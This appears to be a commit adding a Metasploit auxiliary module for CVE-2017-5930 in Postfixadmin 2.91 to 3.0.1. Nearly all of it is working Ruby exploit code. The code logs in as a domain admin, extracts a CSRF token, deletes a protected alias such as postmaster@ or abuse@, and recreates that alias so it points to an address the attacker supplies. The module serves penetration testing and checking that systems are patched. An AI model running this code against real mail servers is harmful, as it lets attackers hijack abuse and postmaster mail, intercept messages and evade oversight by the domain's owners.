Adding Module for Postfixadmin CVE-2017-5930

This exploit allows domain admins to delete protected aliases.
It can be used to redirect aliases like abuse@domain and can aid in
further attacks.

Author: Janfred

modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb

@@ -0,0 +1,181 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'Postfixadmin Protected Alias Deletion Vulnerability',
+      'Description'     => %q{
+        Postfixadmin installations between 2.91 and 3.0.1 do not check if an
+        admin is allowed to delete protected aliases. This vulnerability can be
+        used to redirect protected aliases to an other mail address. Eg. rewrite
+        the postmaster@domain alias
+      },
+      'Author'          => [ 'Jan-Frederik Rieckers' ],
+      'License'         => MSF_LICENSE,
+      'References'      =>
+        [
+          ['CVE', '2017-5930'],
+          ['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
+          ['BID', '96142'],
+        ],
+      'Privileged'      => true,
+      'Platform'        => ['php'],
+      'Arch'            => ARCH_PHP,
+      'Targets'         => [[ 'Postfixadmin v2.91 - v3.0.1', {}]],
+      'DisclosureDate'  => 'Feb 03 2017',
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),
+        OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),
+        OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
+        OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
+        OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
+      ])
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def target_alias
+    datastore['TARGET_ALIAS']
+  end
+
+  def new_goto
+    datastore['NEW_GOTO']
+  end
+
+  def check
+    res = send_request_cgi({'uri' => postfixadmin_url_login, 'method' => 'GET'})
+
+    return Exploit::CheckCode::Unknown unless res
+
+    return Exploit::CheckCode::Safe if res.code != 200
+
+    if res.body =~ /<div id="footer".*Postfix Admin/m
+      version = res.body.match(/<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)<\//mi)
+      return Exploit::CheckCode::Detected unless version
+      if Gem::Version.new("2.91") > Gem::Version.new(version[1])
+        return Exploit::CheckCode::Detected
+      elsif Gem::Version.new("3.0.1") < Gem::Version.new(version[1])
+        return Exploit::CheckCode::Detected
+      end
+      return Exploit::CheckCode::Appears
+    end
+
+    return Exploit::CheckCode::Unknown
+  end
+
+
+  def run
+    print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
+    cookie = postfixadmin_login(username, password)
+    fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
+    print_good('Authenticated with Postfixadmin')
+
+    vprint_status('Requesting virtual_list')
+    res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
+    fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
+    body = res.body
+    vprint_status('Get token')
+    token = body.match(/token=([0-9a-f]{32})/)
+    fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token
+
+    t = token[1]
+
+    print_status('Delete the old alias')
+    res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
+
+    fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
+
+    res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
+
+    if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
+      if res.nil? || res.body.nil?
+        fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
+      else
+        if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
+          fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
+        else
+          fail_with(Failure::Unknown, 'An unexpected failure occured.')
+        end
+      end
+    end
+    print_good('Deleted the old alias')
+
+    vprint_status('Will create the new alias')
+    post_vars = {'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split("@")[-1], 'value[localpart]' => target_alias.split("@")[0..-2].join("@"), 'value[goto]' => new_goto}
+
+    res = send_request_cgi({'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
+
+    fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
+
+    res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
+
+    if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
+      if res.nil? || res.body.nil?
+        fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
+      else
+        if res.body =~ /<ul class="flash-error">/mi
+          fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
+        else
+          fail_with(Failure::Unknown, 'An unexpected failure occured.')
+        end
+      end
+    end
+    print_good('New alias created')
+
+  end
+
+
+  # Performs a Postfixadmin login
+  #
+  # @param user [String] Username
+  # @param pass [String] Password
+  # @param timeout [Integer] Max seconds to wait before timeout
+  #
+  # @return [String, nil] The session cocie as single string if login was successful, nil otherwise
+  def postfixadmin_login(user, pass, timeout = 20)
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => postfixadmin_url_login,
+      'vars_post' => {'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login'}
+    }, timeout)
+    if res && res.redirect?
+      cookies = res.get_cookies
+      return cookies if
+        cookies =~ /PHPSESSID=/
+    end
+
+    nil
+  end
+
+  def postfixadmin_url_login
+    normalize_uri(target_uri.path, 'login.php')
+  end
+
+  def postfixadmin_url_list(domain=nil)
+    modifier = domain.nil? ? "" : "?domain=#{domain}"
+    normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
+  end
+
+  def postfixadmin_url_alias_delete(target, token)
+    normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")
+  end
+
+  def postfixadmin_url_edit
+    normalize_uri(target_uri.path, 'edit.php')
+  end
+end